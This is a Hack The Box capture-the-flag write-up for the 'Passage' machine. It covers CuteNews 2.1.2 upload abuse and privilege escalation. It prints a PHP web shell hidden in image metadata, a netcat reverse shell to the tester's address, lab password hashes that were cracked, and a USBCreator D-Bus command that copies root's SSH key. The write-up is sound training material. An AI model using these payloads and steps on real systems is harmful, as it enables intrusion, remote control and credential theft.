passage — htb writeup

Back to all write-ups: here

WriteUp by chu

Machine Maker: ChefByzen

• On this box we'll use the Arbitrary File Upload flaw, with a technique that sends an image carrying PHP code inside it by editing the request in our proxy(Burp Suite), which enables us to get remote code execution.

chu@antisec:~/htb$ cat tools.txt

Tools used:

nmap
exiftool
BurpSuite
netcat

We'll use nmap to find ports and services running on the machine:

shell

nmap -v -sS -Pn -A 10.10.10.206

-v: verbose(output mais detalhado).
-sS: syn scan.
-Pn: já sabemos que o host está ativo então desativamos o discovery.
-A: Detecção de OS, detecção de versão, script scanning, and traceroute

Our result:

nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=1/6%OT=22%CT=1%CU=37302%PV=Y%DS=2%DC=T%G=Y%TM=5FF5BCD0
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=10A%GCD=1%ISR=10C%TI=Z%CI=I%II=I%TS=A)SEQ(
OS:SP=10A%GCD=2%ISR=10C%TI=Z%II=I%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3
OS:=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7
OS:120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 14.778 days (since Tue Dec 22 13:56:06 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=266 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT       ADDRESS
1   188.90 ms 10.10.14.1
2   189.09 ms passage.htb (10.10.10.206)

We can see two open ports, 22(SSH) and 80(HTTP).

Accessing port 80, we come across a website.

Looking at the source code, we can see the site is running a CMS(Content management system) called 'CuteNews'.

Accessing the CMS directory, we find a login page and the CuteNews version(2.1.2)

Since we don't have valid credentials, let's try creating a new user through the 'Register' button

After getting our initial access on the CMS, we can find an avatar Upload field on the user profile edit page, so we can try uploading a malicious file. (:

After getting our initial access on the CMS, we can find an avatar Upload field on the user…

We first try uploading PHP files, but it's not possible to get a file with that extension up... Since this is an 'Avatar' upload field we can assume it accepts images, so let's inject malicious code inside our image. Our code runs PHP's system function through the cmd parameter received via GET. For that we'll use exiftool:

php

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' chu.jpeg;

We can check that we managed to write the comment inside the image:

shell

exiftool chu.jpeg

Now let's try the upload. First we turn on BurpSuite(proxy) to intercept the request and edit it.

Intercepting our request in Burp we can see the extension being sent is (.jpeg), as the field on the site asks.

Let's change it to .php and forward the request.

We can see the request was successful(200)

Now we just need to access our file to run commands on the server, for that we go to the directory where avatars are saved: http://passage.htb/CuteNews/uploads/avatar_chu_chu.php

We managed to reach our file, now we can pass Linux commands through the pre-defined parameter, in my case 'cmd'. That gives us remote code execution :D

url

http://passage.htb/CuteNews/uploads/avatar_chu_chu.php?cmd=id

Searching for nc, we can see it's installed, so let's try using it to receive a reverse shell.

shell

http://passage.htb/CuteNews/uploads/avatar_chu_chu.php?cmd=whereis nc

Let's open a port on our machine.

shell

nc -vvnlp 1337

-vv: verbose 2
-n: nodns
-l: listen
-p: port

Now let's send the connection with netcat

shell

http://passage.htb/CuteNews/uploads/avatar_chu_chu.php?cmd=/bin/nc 10.10.14.238 1337 -e /bin/bash

-e: exec 'command'

http://passage.htb/CuteNews/uploads/avatar_chu_chu.php?cmd=/bin/nc 10.10.14.238 1337 -e /bin/bash

w00t, we're in!

We can upgrade our shell with python to make it interactive

shell

python -c 'import pty;pty.spawn("/bin/bash")'

After a while looking for something to escalate privileges, we can find a file called lines, in the directory: /var/www/html/CuteNews/cdata/users/lines

We can tell it's base64, so let's decode it. For that we'll use the site CyberChef

After that, we get a cleaner output containing some hashes:

creds

a:1:{s:4:"name";a:1:{s:5:"admin";a:8:{s:2:"id";s:10:"1592483047";s:4:"name";s:5:"admin";s:3:"acl";s:1:"1";s:5:"email";s:17:"nadav@passage.htb";s:4:"pass";s:64:"7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1";s:3:"lts";s:10:"1592487988";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}

a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";s:10:"1592483281";s:4:"name";s:9:"sid-meier";s:3:"acl";s:1:"3";s:5:"email";s:15:"sid@example.com";s:4:"nick";s:9:"Sid Meier";s:4:"pass";s:64:"4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88";s:3:"lts";s:10:"1592485645";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}

a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}

a:1:{s:4:"name";a:1:{s:9:"kim-swift";a:9:{s:2:"id";s:10:"1592483309";s:4:"name";s:9:"kim-swift";s:3:"acl";s:1:"3";s:5:"email";s:15:"kim@example.com";s:4:"nick";s:9:"Kim Swift";s:4:"pass";s:64:"f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca";s:3:"lts";s:10:"1592487096";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"3";}}}

a:1:{s:4:"name";a:1:{s:6:"egre55";a:11:{s:2:"id";s:10:"1598829833";s:4:"name";s:6:"egre55";s:3:"acl";s:1:"4";s:5:"email";s:15:"egre55@test.com";s:4:"nick";s:6:"egre55";s:4:"pass";s:64:"4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc";s:4:"more";s:60:"YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:3:"lts";s:10:"1598834079";s:3:"ban";s:1:"0";s:6:"avatar";s:26:"avatar_egre55_spwvgujw.php";s:6:"e-hide";s:0:"";}}}

hashes:

creds

nadav:7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
sid:4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
paul:e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd >> cracked: atlanta1
kim:f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
egre55:4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc >> cracked: egre55

Using the site Crackstation we managed to crack 2 passwords.

creds

paul:atlanta1
egre55:egre55

Listing the /home folder we can tell paul is a valid user, so we try to access it: And we're in!

After that we can find RSA keys to make the SSH connection

Now we can connect via ssh :D

shell

ssh paul@passage.htb -i id_rsa_paul

After improving our connection using SSH, taking a closer look at the /home/paul/.ssh/ folder we can see there's an authorization file (authorized_keys)... inside it we have a public key.

So now we log in as 'nadav'

shell

ssh nadav@passage

Now logged in as 'nadav', we start looking for a way to escalate privileges.

Looking at the processes running as root, I noticed there's a process called: 'usb-creator-helper'

shell

ps aux | grep root

The Article gives us a good hint(even the name of the user \o/)

With that, we can grab root's RSA key.

We can see the file is created as root

shell

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/chu/chu.txt true

Now we just log in using the key

shell

ssh root@passage.htb -i id_rsa_root

if i helped you, add + respect at my profile :D

My references:

references

https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
https://www.exploit-db.com/exploits/48458
https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
https://tiagosouza.com/reverse-shell-cheat-sheet-bind-shell/

chu@antisec:~/htb$ cat passage.md